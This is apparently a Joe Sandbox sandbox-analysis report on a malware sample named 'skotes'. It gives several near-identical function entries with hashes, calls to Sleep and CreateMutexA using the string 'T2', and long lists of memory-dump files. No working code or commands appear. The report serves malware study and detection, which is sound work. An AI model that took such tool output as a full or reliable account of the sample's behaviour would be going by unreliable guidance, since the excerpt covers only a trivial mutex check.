Snapshot File: hcaresult_1_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2
API String ID: 1464230837-5813163
Opcode ID: c0286c1516b1d27735db6c54fc39002445fd784abc8c67f7caa6eff1926a938e
Instruction ID: 7a477c21943f22a8234f8e18fd36441e996a78a7c38d572d1db0a54c4ebf45e2
Opcode Fuzzy Hash: c0286c1516b1d27735db6c54fc39002445fd784abc8c67f7caa6eff1926a938e
Instruction Fuzzy Hash: FE3179317042049FFF199B7CDC887ADB7AAEBC6310F20862AE064EB2D5C77599808752

Function 0003A079 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0003A963
CreateMutexA.KERNELBASE(00000000,00000000,00093254), ref: 0003A981

Strings

T2, xrefs: 0003A970

Memory Dump Source

Source File: 00000001.00000002.1774587243.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000001.00000002.1774569898.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774587243.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774637397.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774650151.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774664124.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774676531.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774688968.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774951184.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774969137.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774988126.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774988126.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775019721.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775062117.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775077038.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775090633.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775103100.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775116866.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775131343.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775143942.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775158126.0000000000245000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775171058.0000000000246000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775345758.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775367734.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775387562.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775402218.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775415300.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775430565.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775450225.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775464778.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775489424.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775506236.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775522960.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775538708.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775554122.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775572300.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775588475.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775605480.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775622424.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775637288.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775656767.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775691885.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775691885.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775833907.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775864599.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775882695.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775900108.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775915534.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775930045.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775944349.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775965882.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775979799.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2
API String ID: 1464230837-5813163
Opcode ID: 80fb2b9649e93ed815e2ae7b61aa5b41d0d2c4a8c6b1c8bb0c5ba4b012917647
Instruction ID: 2ba81feb08034f16ff06f5f323ae006437c6e5496ee9868c315b461878da9749
Opcode Fuzzy Hash: 80fb2b9649e93ed815e2ae7b61aa5b41d0d2c4a8c6b1c8bb0c5ba4b012917647
Instruction Fuzzy Hash: 4F315D717142009BFF19DB7CCC8976DB7AAEBC3314F208229E0A4A73D1C73599808756

Function 0003A1AE Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0003A963
CreateMutexA.KERNELBASE(00000000,00000000,00093254), ref: 0003A981

Strings

T2, xrefs: 0003A970

Memory Dump Source

Source File: 00000001.00000002.1774587243.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000001.00000002.1774569898.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774587243.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774637397.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774650151.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774664124.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774676531.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774688968.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774951184.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774969137.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774988126.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774988126.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775019721.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775062117.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775077038.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775090633.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775103100.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775116866.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775131343.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775143942.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775158126.0000000000245000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775171058.0000000000246000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775345758.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775367734.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775387562.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775402218.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775415300.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775430565.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775450225.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775464778.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775489424.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775506236.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775522960.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775538708.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775554122.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775572300.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775588475.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775605480.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775622424.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775637288.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775656767.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775691885.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775691885.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775833907.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775864599.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775882695.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775900108.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775915534.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775930045.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775944349.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775965882.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775979799.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2
API String ID: 1464230837-5813163
Opcode ID: 33746bd2bdbb96d087897fdbda504ea34cdd09505cf677e0bbe1e377d04ce46f
Instruction ID: 8e00c8ed5e2d51278dfba034ba4d700765746fd6f93a847127d1d2427758cc3a
Opcode Fuzzy Hash: 33746bd2bdbb96d087897fdbda504ea34cdd09505cf677e0bbe1e377d04ce46f
Instruction Fuzzy Hash: 4E315B317042009FFF19DB7CDC89B6DB7AAEBC7310F208229E094A72D1D73699808756

Function 0003A418 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0003A963
CreateMutexA.KERNELBASE(00000000,00000000,00093254), ref: 0003A981

Strings

T2, xrefs: 0003A970

Memory Dump Source

Source File: 00000001.00000002.1774587243.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000001.00000002.1774569898.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774587243.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774637397.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774650151.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774664124.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774676531.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774688968.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774951184.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774969137.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774988126.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774988126.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775019721.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775062117.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775077038.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775090633.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775103100.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775116866.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775131343.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775143942.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775158126.0000000000245000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775171058.0000000000246000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775345758.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775367734.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775387562.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775402218.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775415300.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775430565.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775450225.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775464778.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775489424.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775506236.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775522960.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775538708.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775554122.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775572300.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775588475.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775605480.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775622424.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775637288.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775656767.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775691885.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775691885.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775833907.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775864599.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775882695.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775900108.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775915534.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775930045.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775944349.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775965882.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775979799.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2
API String ID: 1464230837-5813163
Opcode ID: c94a52a0223908152d7e0a956ad841e111b4bbe34309fcd0208785b9b329703d
Instruction ID: 77f40a0d7e1fc78d786b28a2b4031e69b7db7d8604ac3a5f7abeb3586acdbdf5
Opcode Fuzzy Hash: c94a52a0223908152d7e0a956ad841e111b4bbe34309fcd0208785b9b329703d
Instruction Fuzzy Hash: 98314C317042009BEF199B7CDC8DBADB7AAEFC3314F208219E0A4E72D6D77599808756

Function 0003A54D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0003A963
CreateMutexA.KERNELBASE(00000000,00000000,00093254), ref: 0003A981

Strings

T2, xrefs: 0003A970

Memory Dump Source

Source File: 00000001.00000002.1774587243.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000001.00000002.1774569898.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774587243.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774637397.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774650151.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774664124.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774676531.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774688968.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774951184.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774969137.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774988126.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774988126.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775019721.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775062117.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775077038.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775090633.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775103100.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775116866.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775131343.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775143942.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775158126.0000000000245000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775171058.0000000000246000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775345758.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775367734.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775387562.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775402218.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775415300.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775430565.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775450225.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775464778.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775489424.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775506236.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775522960.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775538708.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775554122.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775572300.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775588475.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775605480.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775622424.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775637288.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775656767.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775691885.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775691885.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775833907.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775864599.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775882695.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775900108.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775915534.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775930045.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775944349.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775965882.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775979799.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2
API String ID: 1464230837-5813163
Opcode ID: e8d0c4ef52245fdf01b1b5e03af38b2447e0d0e4779daf4e3b715060d8518ea2
Instruction ID: 31b3c2d54a4ca5134d73fb0cd7e1f895ee0803cf84698222078ab9feae50212a
Opcode Fuzzy Hash: e8d0c4ef52245fdf01b1b5e03af38b2447e0d0e4779daf4e3b715060d8518ea2
Instruction Fuzzy Hash: DE311A717041008BEF19DB7CDC89BADB7AAEBC6314F248619E494A72D2C73599818716

Function 0003A682 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0003A963
CreateMutexA.KERNELBASE(00000000,00000000,00093254), ref: 0003A981

Strings

T2, xrefs: 0003A970

Memory Dump Source

Source File: 00000001.00000002.1774587243.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000001.00000002.1774569898.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774587243.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774637397.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774650151.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774664124.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774676531.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774688968.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774951184.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774969137.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774988126.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774988126.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775019721.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775062117.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775077038.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775090633.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775103100.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775116866.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775131343.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775143942.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775158126.0000000000245000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775171058.0000000000246000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775345758.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775367734.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775387562.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775402218.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775415300.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775430565.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775450225.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775464778.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775489424.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775506236.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775522960.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775538708.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775554122.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775572300.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775588475.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775605480.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775622424.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775637288.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
